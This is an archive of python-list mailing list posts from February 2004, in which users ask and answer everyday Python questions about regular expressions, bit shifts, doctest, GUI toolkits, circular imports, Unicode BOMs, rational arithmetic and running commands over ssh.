From jepler at unpythonic.net  Sat Feb 21 12:57:28 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Sat, 21 Feb 2004 11:57:28 -0600
Subject: #! Question
In-Reply-To: <slrnc3f2jp.9s6.joe@gate.notcharles.ca>
References: <30875970.0402191650.57dfe998@posting.google.com>
	<40367658$1@nntp0.pdx.net> <c16v8a$87n$1@news.service.uci.edu>
	<slrnc3f2jp.9s6.joe@gate.notcharles.ca>
Message-ID: <20040221175728.GB28671@unpythonic.net>

On Sat, Feb 21, 2004 at 05:09:23PM +0000, Joe Mason wrote:
> Is anyone else reading the title of this thread as a curse?

some folks call #!... the "shebang line" of a shell script, but maybe
that falls afoul of content filters...

jeff



From deets_noospaam at web.de  Wed Feb 25 05:18:05 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Wed, 25 Feb 2004 11:18:05 +0100
Subject: Regular Expressions?
References: <mailman.76.1077675361.8594.python-list@python.org>
Message-ID: <c1hsp5$u7c$01$1@news.t-online.com>

> I want to use a regular expression like the following:
> 
> "*[\s|\w]*" + x +"[\s|\w]*\" + y + "*[\s|\w]*\" + y + "*[\s|\w]*"
> 
> where x and y and varaiblae names and their value changes everytime.
> For some reason this gives me an Invalid Token error. Can I use
> variables in a regular Expression?

Sure. But what you wrote above is most probably syntactically wrong:

"*[\s|\w]*" + x +"[\s|\w]*\" + y + "*[\s|\w]*\" + y + "*[\s|\w]*"
                          ^^ 
You escape the d'qoutes, so that not the variable is inserted but instead
the text " + y + ". Then a [ starts, which denotes the beginning of a list
- a thing not supported right here. The same problem arises before the
second y.

This works for me:

"*[\s|\w]*" + x +"[\s|\w]*" + y + "*[\s|\w]*" + y + "*[\s|\w]*"

However, I suggest you use the %-operator in such cases:

"*[\s|\w]*%s[\s|\w]*%s*[\s|\w]*%s*[\s|\w]*" % (x, y, y)


-- 
Regards,

Diez B. Roggisch


From gerald.britton at allstream.com  Wed Feb  4 16:24:00 2004
From: gerald.britton at allstream.com (gbblob)
Date: 4 Feb 2004 13:24:00 -0800
Subject: Newbie -- bitwise shifts
Message-ID: <de91eac3.0402041324.1c5e911f@posting.google.com>

Can someone please explain to me why left shits are equivalent to
multiplication and right shifts equivalent to devision?  This seems
backwards to me.

e.g.

15 is binary 1111
if I shift this left 2 bits I get 11

however in Python 15<<2 = 60 ?!


From peter at engcorp.com  Fri Feb 20 17:38:11 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 20 Feb 2004 17:38:11 -0500
Subject: Human validation with an image
References: <2ca51434.0402181235.460befe3@posting.google.com>
	<c10mh0$kfr$1@panix3.panix.com> <4033F249.FD73DAB6@engcorp.com>
	<4033F338.ED0DAC5A@engcorp.com> <4036829c_1@news.unc.edu>
Message-ID: <40368C53.80B3C483@engcorp.com>

Gary Bishop wrote:
> 
> Peter Hansen <peter at engcorp.com> wrote:
> 
> > Dang time machine:  http://www.captcha.net/ .  Thanks Paul. :-)
> 
> For a brilliant scheme for defeating these things check out this
> posting at slashdot.
> 
> http://yro.slashdot.org/article.pl?sid=04/01/28/1344207&mode=thread
> 
> I'm not saying I approve of it, [snip]

You're right!  Darned spammers.  They should leave the porn sites
alone, I say.  :-)

-Peter


From jcarlson at nospam.uci.edu  Mon Feb  2 22:44:32 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 02 Feb 2004 19:44:32 -0800
Subject: Produce anti-noise
In-Reply-To: <bvmoq7$ki$00$1@news.t-online.com>
References: <56f42e53.0402021410.5f2b2d93@posting.google.com>
	<bvmlik$kam$06$1@news.t-online.com>
	<bvmo66$afc$1@news.service.uci.edu>
	<bvmoq7$ki$00$1@news.t-online.com>
Message-ID: <bvn5j8$mg5$1@news.service.uci.edu>

>>Perhaps I'm not understanding the original question, but if one can get
>>the signed (-32768...32767) audio input signals, make it into a numeric
>>array (using Numeric or what have you), multiply that numeric array by
>>-1, then output the signal, it would be relatively easy to invert the
>>phase.
> 
> 
> Then you didn't inverse the phase, but amplitude. Phases can be shift.

You are right, I had it confused with something else.

I am curious though, isn't an inverse in phase just a phase shift of 180 
degrees?  If so, shouldn't inverting the phases of all input waveforms 
(if we were to decompose the signal) produce an output that is 
funnctionally an amplitude inversion?

  - Josiah


From aahz at pythoncraft.com  Mon Feb  2 12:26:09 2004
From: aahz at pythoncraft.com (Aahz)
Date: 2 Feb 2004 12:26:09 -0500
Subject: assignment statements: lists vs. strings
References: <3e96ebd7.0402020750.3b0b9b82@posting.google.com>
Message-ID: <bvm17h$k0l$1@panix3.panix.com>

In article <3e96ebd7.0402020750.3b0b9b82 at posting.google.com>,
Klaus Neuner <klaus_neuner82 at yahoo.de> wrote:
>
>I would like to understand the reason for the following difference
>between dealing with lists and dealing with strings: What is this
>difference good for? How it is accounted for in Python slang?

http://starship.python.net/crew/mwh/hacks/objectthink.html
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From skip at pobox.com  Fri Feb 27 11:47:58 2004
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 27 Feb 2004 10:47:58 -0600
Subject: Problem with mixing doctest with gettext _()
In-Reply-To: <uZJ%b.23270$ee3.513937@news20.bellglobal.com>
References: <Ysz%b.20076$253.1212052@news20.bellglobal.com>
	<mailman.191.1077856934.8594.python-list@python.org>
	<FZG%b.20178$253.1255290@news20.bellglobal.com>
	<mailman.199.1077893785.8594.python-list@python.org>
	<uZJ%b.23270$ee3.513937@news20.bellglobal.com>
Message-ID: <16447.29886.569316.148517@montanaro.dyndns.org>


    Pierre> I tried that, but it only works for the first call...

:-)

    Pierre> [Shell buffer started: python.exe]
    Pierre> Python 2.3.3 (#51, Dec 18 2003, 20:22:39) [MSC v.1200 32 bit (Intel)] on 
    Pierre> win32
    Pierre> Type "help", "copyright", "credits" or "license" for more information.
    >>>> import __builtin__
    >>>> def foo(s): return s
    Pierre> ...
    >>>> __builtin__._ = foo
    >>>> _
    Pierre> <function foo at 0x008F98B0>
    >>>> _
    Pierre> <function foo at 0x008F98B0>
    >>>> _('hi')
    Pierre> 'hi'
    >>>> _
    Pierre> 'hi'
    >>>> _('Hello')
    Pierre> Traceback (most recent call last):
    Pierre>    File "<stdin>", line 1, in ?
    Pierre> TypeError: 'str' object is not callable
    >>>> 

That's true.  In interactive mode _ is assigned the value of the last
expression evaluated.  Try it from a script.

Skip



From tjreedy at udel.edu  Mon Feb 23 03:02:21 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 23 Feb 2004 03:02:21 -0500
Subject: Is Python suitable?
References: <ed89f8f2.0402222221.47b6213f@posting.google.com>
Message-ID: <c1cc2b$74d$1@sea.gmane.org>


"Tran Tuan Anh" <anhtt at hotmail.com> wrote in message
news:ed89f8f2.0402222221.47b6213f at posting.google.com...
> Hi,
>
> I have an programming assignment, and would like to try out Python.
>
> I need to read in a simple textual language (does Python have a
> scanner, and parser?),

Yes.  Several options have been listed and discussed here within the last 2
weeks or a month.  There is also a book on text processing with Python.

tjr









From max at NcOviSsPiAoMntech.com  Wed Feb 11 18:13:15 2004
From: max at NcOviSsPiAoMntech.com (max khesin)
Date: Wed, 11 Feb 2004 23:13:15 GMT
Subject: Python GUI Code -- Best Practice
In-Reply-To: <73wu6t5o5t.fsf@random-node.example.org>
References: <73wu6t5o5t.fsf@random-node.example.org>
Message-ID: <fGyWb.13455$Lp.12327@twister.nyc.rr.com>

Chris Stiles wrote:

> Hi --
> 
> I'm looking to write some WxPython based applications, and am looking for
> existing applications of moderate complexity in order to read code and gain an
> understanding of how these things are structured.
> 
> Tutorials aren't really useful - i've done most of them, and am looking to
> gain more of a 'gesalt' sense of how such programs are structured for real
> purposes. 
> 
> Is there anything people would recommend me taking a look at ?


check out the open-source apps mentioned @
http://wxpython.org/screenshots.php


From domma at procoders.net  Fri Feb 27 10:38:11 2004
From: domma at procoders.net (Achim Domma)
Date: Fri, 27 Feb 2004 16:38:11 +0100
Subject: remove BOM from string read from utf-8 file
References: <c1nfem$hs5$04$1@news.t-online.com> <wzoerkinig.fsf@Ordesa.local>
Message-ID: <c1no8s$hg9$05$1@news.t-online.com>

"Piet van Oostrum" <piet at cs.uu.nl> wrote in message
news:wzoerkinig.fsf at Ordesa.local...

> Check text[0] and len(text) to verify.

That's what I did. The file contains 24 chinese characters and len(text) is
25. And 0xef is the hex code for the BOM if I'm not completely wrong.

Achim




From jcarlson at nospam.uci.edu  Fri Feb  6 23:37:21 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 06 Feb 2004 20:37:21 -0800
Subject: Interaction with two mouse
In-Reply-To: <99dce321.0402061539.5973ae94@posting.google.com>
References: <bvviff$h2u$1@newsfeed.cineca.it>
	<99dce321.0402061539.5973ae94@posting.google.com>
Message-ID: <c01q6d$pip$1@news.service.uci.edu>

> I would imagine that Windows stops mouse detection after it finds one
> on the USB bus and/or the PS/2 port, with RS232 being a fallback. So
> if you have one mouse plugged into the PS/2 port, then booting with
> another connected to the RS232 port leaves it free for apps to talk
> to.

I believe Windows will initialize any mouse it sees during boot.  Using 
a mouse on a serial port may require leaving the mouse unplugged until 
Windows has finished booting.

  - Josiah


From paschen at mavd.de  Thu Feb  5 12:36:06 2004
From: paschen at mavd.de (Bjoern Paschen)
Date: Thu, 05 Feb 2004 18:36:06 +0100
Subject: Print function and spaces
References: <mailman.1237.1075981181.12720.python-list@python.org>
	<pan.2004.02.05.14.09.33.415528@mavd.de>
	<bvtfop$vs5l8$1@ID-111250.news.uni-berlin.de>
Message-ID: <pan.2004.02.05.17.36.06.533518@mavd.de>

On Thu, 05 Feb 2004 14:17:05 +0100, Diez B. Roggisch wrote:

> You function won't work on mixed-type args:
> A better way would be this:
> 
> def myprint(*args):
>   print "".join([str(x) for x in args])
Thanks. Works like a charm :)


-- 
_________________________________________________________________
Bjoern Paschen         ._--_. Panasonic AVC Networks Germany GmbH
paschen at mavd.de          --   Audio Video Technology Centre




From per.corell at privat.dk  Sun Feb  8 10:03:51 2004
From: per.corell at privat.dk (P.C.)
Date: Sun, 8 Feb 2004 16:03:51 +0100
Subject: Had Phyton suggested
References: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
Message-ID: <40264f37$0$95017$edfadb0f@dread11.news.tele.dk>

Hi

"P.C." <per.corell at privat.dk> skrev i en meddelelse
news:4026488d$0$95048$edfadb0f at dread11.news.tele.dk...
> Hi
>

Sorry Python not "Phyton".
Please don't just ansver about wrong spelling.

P.C.
http://home20.inet.tele.dk/h-3d/




From claird at lairds.com  Wed Feb 11 19:29:42 2004
From: claird at lairds.com (Cameron Laird)
Date: Thu, 12 Feb 2004 00:29:42 -0000
Subject: Executing a file remotely
References: <731fc603.0402111520.717e763c@posting.google.com>
	<slrnc2lf46.16j.bignose-hates-spam@rose.localdomain.fake>
Message-ID: <102li7mgihijf97@corp.supernews.com>

In article <slrnc2lf46.16j.bignose-hates-spam at rose.localdomain.fake>,
Ben Finney  <bignose-hates-spam at and-benfinney-does-too.id.au> wrote:
>On 11 Feb 2004 15:20:41 -0800, Hank wrote:
>> I was wondering how I would execute a file remotely?
>
>That depends on how you'd execute any command on a remote machine.  On
>Unix systems, the preferred way these days is to use ssh:
>
>    bignose at desktop$ ssh bignose at remoteserver 'command -with -args'
>
>Assuming the 'ssh' command is available on the local machine, you could
>execute the above command within the Python script using os.system():
>
>    <http://www.python.org/doc/1.5.2p2/lib/os-process.html>
			.
			.
			.
I believe soundwave56 is focused on Windows hosts.  There, the
correct initial answer to, "how would I execute a file remotely?"
is, through a security breach.

That's a serious answer.  Operating systems are not *supposed* to
allow "outsiders" to execute processes.

There are, of course, plenty of more-or-less legitimate reasons
you might need to execute remote processes.  At a minimum (again,
assuming you don't exploit holes in Windows), you'll need to 
configure the remote host ahead of time in one of several ways
which provide for remote process launching.  Which of those
several ways should you choose?  It depends.  At this point, it
might help to understand your larger goals.  Is this really about
file backup, or inventory management, or network administration,
or ...?
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From jcarlson at nospam.uci.edu  Fri Feb  6 12:12:57 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 06 Feb 2004 09:12:57 -0800
Subject: hide sourcecode
In-Reply-To: <84fc4588.0402052351.5fc254ae@posting.google.com>
References: <bvtm5f$pgq$00$1@news.t-online.com>	<bvtpsp$126$1@news.service.uci.edu>
	<mailman.1261.1076006359.12720.python-list@python.org>
	<bvu6m3$cg1$1@news.service.uci.edu>
	<84fc4588.0402052351.5fc254ae@posting.google.com>
Message-ID: <c00i34$inl$3@news.service.uci.edu>

Anand Pillai wrote:

> In a lighter vein, why do you want to hide your
> python source code? Python is an 'open source' language
> so I advise you to share your source code with us :-)

I'm all about sharing the code, the starter of the thread wanted to hide 
it, I was just answering his question.

  - Josiah


From eurleif at ecritters.biz  Wed Feb 11 06:02:17 2004
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Wed, 11 Feb 2004 11:02:17 GMT
Subject: Simple allowing of HTML elements/attributes?
Message-ID: <ZYnWb.1600$h86.1207651@monger.newsread.com>

I'm writing a site with mod_python which will have, among other things, 
forums. I want to allow users to use some HTML (<em>, <strong>, <p>, 
etc.) on the forums, but I don't want to allow bad elements and 
attributes (onclick, <script>, etc.). I would also like to do basic 
validation (no overlapping elements like <strong><em>foo</em></strong>, 
  no missing end tags). I'm not asking anyone to write a script for me, 
but does anyone have general ideas about how to do this quickly on an 
active forum?


From mjackson at alumni.caltech.edu  Thu Feb  5 15:43:38 2004
From: mjackson at alumni.caltech.edu (Mark Jackson)
Date: 5 Feb 2004 20:43:38 GMT
Subject: Funnying the From (was: OT: Recommended news reader?)
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org>
	<y8rh9zfx.fsf@python.net> <10257t58fdgvi67@corp.supernews.com>
	<Xns9486923064F40VeebleFetzer@news.visi.com>
Message-ID: <bvu9tq$715$1@news.wrc.xerox.com>

Bert Hyman <bert at visi.com> writes:
> claird at lairds.com (Cameron Laird) wrote in
> news:10257t58fdgvi67 at corp.supernews.com: 
> 
> > I didn't know that "From:" *could* be customized through
> > common configurations.  Does anyone know how to set it
> > with trn(1)?  
> 
> Does "trn" still post through the external "Pnews" program? If so,
> you can edit your post before sending it to include a "From:" header
> of your liking and the server ->should accept it. 

Not that more than a handful of folks still use it, but:  the
OpenWindows newsreader xvnews respects both MAIL_ALIAS and DOMAIN
environment variables:  From: MAIL_ALIAS at DOMAIN.

-- 
Mark Jackson - http://www.alumni.caltech.edu/~mjackson
	The *world* is arbitrary.  *Individuals* are either fair
	or unfair.  Which are you?	- Caulfield (Jef Mallett)




From jcarlson at nospam.uci.edu  Wed Feb 18 01:05:09 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Tue, 17 Feb 2004 22:05:09 -0800
Subject: Produce anti-noise
In-Reply-To: <c0ueaf$1cf98j$1@ID-169208.news.uni-berlin.de>
References: <56f42e53.0402021410.5f2b2d93@posting.google.com>	<bvmlik$kam$06$1@news.t-online.com>	<bvmo66$afc$1@news.service.uci.edu>	<bvmoq7$ki$00$1@news.t-online.com>	<bvn5j8$mg5$1@news.service.uci.edu>
	<mailman.1161.1075801845.12720.python-list@python.org>
	<c0ueaf$1cf98j$1@ID-169208.news.uni-berlin.de>
Message-ID: <c0uvfc$kv3$1@news.service.uci.edu>

> So the bottom line is, using a DSP to implement a 180
> degree phase shift is massive overkill. Just swap the
> wires to the speaker. :-)

That is what I said initially.  :)
  - Josiah


From danb_83 at yahoo.com  Fri Feb  6 20:53:28 2004
From: danb_83 at yahoo.com (Dan Bishop)
Date: 6 Feb 2004 17:53:28 -0800
Subject: PEP 327: Decimal Data Type
References: <mailman.1054.1075487007.12720.python-list@python.org>
	<bvef14$919$1@news.service.uci.edu>
	<ad052e5c.0401310101.1c5bd5aa@posting.google.com>
	<h6um10dknflfcgt3id6tril2fs3lbb3vsq@4ax.com>
	<bvgp4j$dp2$1@news.service.uci.edu>
	<jvtn10177itao5m0lgt25bofut9h5qj4c6@4ax.com>
	<bvjj49$c94$1@news.service.uci.edu>
Message-ID: <ad052e5c.0402061753.79eba807@posting.google.com>

Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message news:<bvjj49$c94$1 at news.service.uci.edu>...
> > Was your implementation [of rationals] the 'not too bad to get working' or
> > the 'doing it well'?
...
> For all the standard operations on a rational type, all you need is to 
> make sure all you have is two pairs of numerators and denominators, then 
> all the numeric manipulation is trivial:
...
> a + b = rational(a.n*b.d + b.n*a.d, a.d*b.d)
> a - b = rational(a.n*b.d - b.n*a.d, a.d*b.d)
> a * b = rational(a.n*b.n, a.d*b.d)
> a / b = rational(a.n*b.d, a.d*b.n)

Also,

floor(a) = a.n // a.d
a // b = floor(a / b)

> a ** b, b is an integer >= 1 (binary exponentiation)

It's even more trivial when b=0: The result is 1.

And when b < 0, a ** b can be calculated as (1 / a) ** (-b)


From fpetermaas at netscape.net  Wed Feb 25 04:16:01 2004
From: fpetermaas at netscape.net (Peter Maas)
Date: Wed, 25 Feb 2004 10:16:01 +0100
Subject: Locate python home
In-Reply-To: <c1ho3e$2g8h$1@news.uit.no>
References: <c1ho3e$2g8h$1@news.uit.no>
Message-ID: <c1hp3a$71e$1@swifty.westend.com>

Thomas Aanensen wrote:
> Python could be located at different paths on computers (e.g. c:\python).
> How can I find this path?

import sys
print sys.executable

Mit freundlichen Gruessen,

Peter Maas

-- 
-------------------------------------------------------------------
Peter Maas, M+R Infosysteme, D-52070 Aachen, Hubert-Wienen-Str. 24
Tel +49-241-93878-0 Fax +49-241-93878-20 eMail peter.maas at mplusr.de
-------------------------------------------------------------------


From cjw at sympatico.ca  Wed Feb 25 19:28:01 2004
From: cjw at sympatico.ca (Colin J. Williams)
Date: Wed, 25 Feb 2004 19:28:01 -0500
Subject: Webchecker Usage - a problem with local usage
In-Reply-To: <403BFAEA.8030408@sympatico.ca>
References: <403BFAEA.8030408@sympatico.ca>
Message-ID: <e4b%b.8611$ee3.401416@news20.bellglobal.com>

Colin J. Williams wrote:
> I have material on a local PC which I upload to a web server.
> 
> I would like to use webchecker to check both the local linkage and that 
> at the remote server.
> 
> All works well when I check the remote server:  http://www3.sympatico. 
> ....  The URL for the index.html.
> 
> However, only the index.html is read when using: file:C:\\Python23/ 
> ....           The URL for the index.html.
> 
> The problem arises in the Checker method, where the basic structure of 
> the url has been changed.  It no longer contains the root:
> 
>        def inroots(self, url):
>            for root in self.roots:
>                if url[:len(root)] == root:
>                    return self.isallowed(root, url)
>            return 0
> 
> It appears to be caused at urlparse lines 129 and 130,  where three '/' 
> characters are prepended to the URL.
> 
> By commenting out lines 128, 128 and 130 of urlparse, I get the same 
> report for the local files that I get from the web server.
> 
> I don't like modifying a library routine, even a local copy and would 
> appreciate advice.
> 
> Thanks.
> 
> Colin W.
> 
Unfortunately, the change to urlparse has an unintended side-effect.

It prevents the check of any external links from the local machine.

Colin W.



From Vincent.Raaijmakers at ge.com  Mon Feb  2 12:32:21 2004
From: Vincent.Raaijmakers at ge.com (Raaijmakers, Vincent (GE Infrastructure))
Date: Mon, 2 Feb 2004 11:32:21 -0600
Subject: JPG - PNG conversion problem
Message-ID: <971323274247EB44B9A01D0A3B424C8505CA46C6@FTWMLVEM02.e2k.ad.ge.com>

Yes I did.

image.depth = 8

But it didn't help, the 64k is the image file size having 256 colors.

Vincent

-----Original Message-----
From: python-list-bounces+vincent.raaijmakers=ge.com at python.org
[mailto:python-list-bounces+vincent.raaijmakers=ge.com at python.org]On
Behalf Of Mark Borgerding
Sent: Sunday, February 01, 2004 1:25 PM
To: python-list at python.org
Subject: Re: JPG - PNG conversion problem


Raaijmakers, Vincent (GE Infrastructure) wrote:
> Who can explain the huge increase in size when I convert a JPG into a PNG format using PythonMagick:
> I read the JPG from a video server and has a resolution of 352x240, size is about 15k
> After my PNG conversion and resizing the resolution to 160*120, the size is 64k!!


Is the output png a color palette image?  See if you can get acceptable 
results by limiting the color palette to 256 colors or so.

-- 
http://mail.python.org/mailman/listinfo/python-list



From nospam-deets at web.de  Tue Feb 24 05:51:28 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Tue, 24 Feb 2004 11:51:28 +0100
Subject: Newbie - circular import problem
References: <db1b46bd.0402240215.4d7ea76a@posting.google.com>
Message-ID: <c1fail$1hndb4$3@ID-111250.news.uni-berlin.de>

> --a.py--
> import b
> class ClassA:
>     def __init__(self):
>         print 'ClassA'
> 
> --b.py--
> import a
> class ClassB(ClassA):
>     def __init__(self):
>         print 'ClassB'
>  
> If I try to access ClassB (for example, by firing up python and importing
> b), I get the error:
> 
>   File "b.py", line 2, in ?
>     class ClassB(ClassA):
>     NameError: name 'ClassA' is not defined
> 
> Could someone explain what is going wrong here? I'm still getting up to
> speed with python, but, to me, this looks like the import of b is occuring
> before ClassA has been defined. Is that right? How can I correct this,
> apart from amalgamating the two into a single file?

Put whatever a needs from b (its obviously not ClassB) into a module c, and
import it from both.

-- 
Regards,

Diez B. Roggisch


From secchi at sssup.it  Sun Feb 22 05:05:51 2004
From: secchi at sssup.it (Angelo Secchi)
Date: Sun, 22 Feb 2004 11:05:51 +0100
Subject: Strange (for a newbie) problem
In-Reply-To: <B6RZb.27753$aH3.880846@bgtnsc04-news.ops.worldnet.att.net>
References: <mailman.142.1077383087.27104.python-list@python.org>
	<B6RZb.27753$aH3.880846@bgtnsc04-news.ops.worldnet.att.net>
Message-ID: <20040222110551.28245f5f.secchi@sssup.it>


Thanks Alan, Peter, Wes and Josiah.
Noting that sys.argv[1] was a string solved the problem!!!
Sorry...
angelo 






On Sat, 21 Feb 2004 22:39:29 GMT
wes weston <wweston at att.net> wrote:

> Angelo,
>     Yes, more info is needed. One thing that could move
> your error to a latter line and confuse you is that you
> can "multiply" strings.
> 
>  >>> x='5'
>  >>> print 6*x
> 555555
>  >>> print type(x)
> <type 'str'>
> 
> wes
> 
> Angelo Secchi wrote:
> > I'm experiencing the following problem. 
> > I have a python script analyses.py where a certain point I have to
> > define a variable called 'code' like:
> > 
> > code=151
> > 
> > The program works fine but if I change that line in
> > 'code=sys.argv[1]' using the sys module in order to give to the
> > program that code as a parameter (i.e. I then run this script as
> > "python analyses.py 151" from the shell) then the program returns an
> > error complaining that a certain variable different from code is not
> > defined.
> > 
> > What is my mistake?
> > Thanks
> > angelo
> > 
> >  
> > 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list


--
========================================================
 Angelo Secchi                     PGP Key ID:EA280337
========================================================
  Current Position:
  Graduate Fellow Scuola Superiore S.Anna
  Piazza Martiri della Liberta' 33, Pisa, 56127 Italy
  ph.: +39 050 883365
  email: secchi at sssup.it	www.sssup.it/~secchi/
========================================================



From no at spam.pls  Fri Feb 20 17:46:05 2004
From: no at spam.pls (Matthias)
Date: 20 Feb 2004 23:46:05 +0100
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<mailman.86.1077050210.31398.python-list@python.org>
	<a8623416.0402181148.20865556@posting.google.com>
	<xqxbrnvbhvk.fsf@cola2.ca.boeing.com>
	<36wvfm2hy2y.fsf@goya03.ti.uni-mannheim.de>
	<xqxk72i6pcv.fsf@cola2.ca.boeing.com>
	<36wllmxwr6y.fsf@goya02.ti.uni-mannheim.de>
	<mailman.118.1077302081.27104.python-list@python.org>
Message-ID: <36wbrntwes2.fsf@goya02.ti.uni-mannheim.de>

Paul Prescod <paul at prescod.net> writes:

> Matthias wrote:
> >  This industry is on a random walk... ;-))
> 
> Despite the smiley I think it is worth putting this in
> perspective. Take a random language implementation from 1975 and try
> implementing something in it. I think that you will find strong
> anecdotal evidence that Things Are Getting Better. It is a
> frustratingly slow and inefficient but one that nevertheless seems to
> move in the right direction.

In 1975 I would have chosen Scheme to implement something.  Had people
in 1975 added indentation-based syntax and some useful-and-documented
libs to it... ;-)

But I agree that I wouldn't want to switch my hardware/software
environment against one from 25 years ago.  Or 3 for that matter.


From dale at riverhall.NOSPAM.co.uk  Fri Feb 20 08:03:58 2004
From: dale at riverhall.NOSPAM.co.uk (Dale Strickland-Clak)
Date: 20 Feb 2004 13:03:58 GMT
Subject: COM Help
References: <mailman.74.1077213029.27104.python-list@python.org>
Message-ID: <Xns949582DA8678Fdaleriverhallsystems@192.168.8.150>

Lindstrom Greg - glinds pushed the bounds of literature with:

> I have been working with the Windows MAPI material trying to
> understand what is going on.  There appears to be a lot of code out
> there showing how things work (kind of)  but very little documentation
> on *why* things happen.  After some searching and reading on google
> (google *is* my friend) I have run makepy and generated the files for
> Outlook.  My question is can I use the com browser to tell me what is
> happening when I  issue: 
> 
> outlook = Dispatch("Outlook.Application.9")
> 
> and why do I have the ".9" on the end of the app string?  Then what is
> this? 
> 
> namespace = self.outlook.GetNamespace("MAPI")
> 

The .9 is the version of the object model. "Outlook.Application" is 
adequate unless you particularly want an older version. By default, you 
get the latest, I think.

I can't pretend to understand the intricacies of MAPI but manage to get 
by with the MS documentation - of which there is an abundance. Try 
looking on msdn.microsoft.com.

If you want a copy of a little Python program I have which calls Outlook 
to get contact details, let me know.


-- 
Dale Strickland-Clark
Riverhall Systems Ltd, www.riverhall.co.uk


From michael at foord.net  Fri Feb 27 06:00:21 2004
From: michael at foord.net (Fuzzyman)
Date: 27 Feb 2004 03:00:21 -0800
Subject: Python: GUI Builder
References: <403D8608.40103@easi.soft.net>
	<mailman.146.1077776323.8594.python-list@python.org>
Message-ID: <8089854e.0402270300.5c4635e5@posting.google.com>

[snip..]

> If you're a little further along the curve, maybe you want to try Tkinter
> itself.  Fredrick Lundh's 1999 book is a good start.  But I found chapters 6-9
> of Mark Lutz'  Programming Python book, 2001, to have some pertinent examples
> and an approach that builds skill upon skill. 
> 

I've recently 'dived into Tkinter' and found the Programming Python
book *very* helpful.

There is a fair bit to learn before you can start doing useful stuff -
but once you've got your head round the basics it's not too difficult.

If you want a simple program with a Tkinter GUI to use as examples
then :

a) my Nanagram program ;-)
http://www.voidspace.org.uk/atlantibots/nanagram.html

or

b) sourceforge has a couple of very simple text editors that use
Tkinter and demonstrate a very simple Tkitner framework.


Regards,


Fuzzy

--

http://www.voidspace.org.uk/atlantibots/pythonutils.html


> There are a number of books and websites out there on Tkinter, making it the
> best documented of the toolkits.  
> 
> While you're looking at Tkinter, take a look at the Pmw set of widgets that
> extend Tkinter's basic set.  The demo for Pmw is a great way to examine the
> source code for these widgets and see how they work.   I posted an example on
> the list earlier today.   
> 
> Next in line is probably wxPython, which is much less well documented, and there
> are others as well.   These are a good set to start with.
> 
> cheers,
> -- 
> Stewart Midwinter
> running on Mandrake Linux 9.2
> PGP public key at: http://www.keyserver.net
> e-mail: Stewart 'at' Midwinter.ca, stewart 'at' midtoad.homelinux.org
> web: http://www.midwinter.ca, http://midtoad.homelinux.org
> voice: +1.403.714.4329
> 
> Umwelt schuetzen, Rad benuetzen!


From aleaxit at yahoo.com  Tue Feb  3 04:34:53 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 3 Feb 2004 10:34:53 +0100
Subject: How does compare work?
In-Reply-To: <4016A368.9050806@skynet.be>
References: <40158680$0$7044$ba620e4c@news.skynet.be>
	<mailman.821.1075160455.12720.python-list@python.org>
	<4016A368.9050806@skynet.be>
Message-ID: <200402031034.53766.aleaxit@yahoo.com>

On Tuesday 27 January 2004 06:44 pm, Helmut Jarausch wrote:
   ...
> In my 'Python in a Nutshell' by Alex Martelli (a tremendously good
> book), 1st edition on page 91 (Special Methods) it reads
> __cmp__  ......
> ...............
>           When __cmp__ is also absent, order comparisons (<,<=,>,>=)
>           raise exceptions. Equality comparisons (==,!=), in this case,
>           become identity checks: x==y evaluates  id(x)==id(y) (i.e.,
>           x is y)
>
> end of quotation.
> I wish this were true for the current Python implementation.

Thanks for pointing out the error in the first sentence you quote; what the 
sentence _should_ say, to describe Python's current implementation, is that 
when none of the specific (__lt__ etc) nor generic (__cmp__) methods are 
present, comparisons of objects default to comparisons of their id() values.

I apologize for my mistake.  Could I ask you to be so kind as to post this 
issue to the errata page, http://www.oreilly.com/catalog/pythonian/errata/ ?
By far the best way to get future printings fixed is for a reader to submit
errata, so it goes through the editorial process and comes to me for fixing.

Thanks!


Alex




From ahsan.imam at newtimes.com  Fri Feb  6 16:52:20 2004
From: ahsan.imam at newtimes.com (ahsan Imam)
Date: 6 Feb 2004 13:52:20 -0800
Subject: Error message <exceptions.TypeError unpack non-sequence>
References: <788bd2d4.0402051459.8a90fec@posting.google.com>
	<bvv2dr$7oa$1@news.service.uci.edu>
Message-ID: <788bd2d4.0402061352.676d8566@posting.google.com>

Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message news:<bvv2dr$7oa$1 at news.service.uci.edu>...
> > I am trying to move an application from python 1.5.2 to 2.3. The code
> > works fine in 1.5.2 but gives the exception (exceptions.TypeError
> > unpack non-sequence) in python 2.3. I did not write this code so I am
> > not sure what is happening here.
> > 
> > Here is the code snippet:
> > 
> > for (item, agent) in self.lItems:
> >       lItems.append(interpolate(self._ITEM_FMT, id=str(item)))
> > 
> > Note:
> > self.lItems contains two elements.
> 
> Always exactly 2 items?
What if there are more than 2 items? How can I do something where
element 0 and 1 are assigned to (item, agent) and so on? If this is a
silly question please let me know what I can read.

Thanks
Ahsan


From eelgueta at navix.cl  Mon Feb  2 17:35:45 2004
From: eelgueta at navix.cl (Eduardo Elgueta)
Date: 2 Feb 2004 14:35:45 -0800
Subject: GD/gdmodule on Win XP
Message-ID: <3b3f63ed.0402021435.1937f119@posting.google.com>

Hi All,

